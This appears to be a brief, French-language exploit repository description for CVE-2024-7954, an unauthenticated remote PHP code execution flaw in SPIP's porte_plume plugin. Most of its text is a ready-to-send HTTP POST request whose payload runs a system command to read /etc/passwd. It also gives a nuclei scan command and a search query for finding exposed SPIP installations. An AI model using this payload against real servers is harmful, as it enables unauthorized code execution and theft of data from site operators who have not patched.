gh-ost00/cve-2024-7954-rceExécution de code à distance non authentifiée dans les versions de SPIP jusqu'à et y compris la 4.2.12
Le plugin porte_plume utilisé par SPIP avant les versions 4.30-alpha2, 4.2.13 et 4.1.16 est vulnérable à une exécution de code arbitraire. Un attaquant distant non authentifié peut exécuter du code PHP arbitraire en tant qu'utilisateur SPIP en envoyant une requête HTTP spécialement conçue.
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
nuclei --target {host.com} -t CVE-2024-7954.yaml
app="SPIP"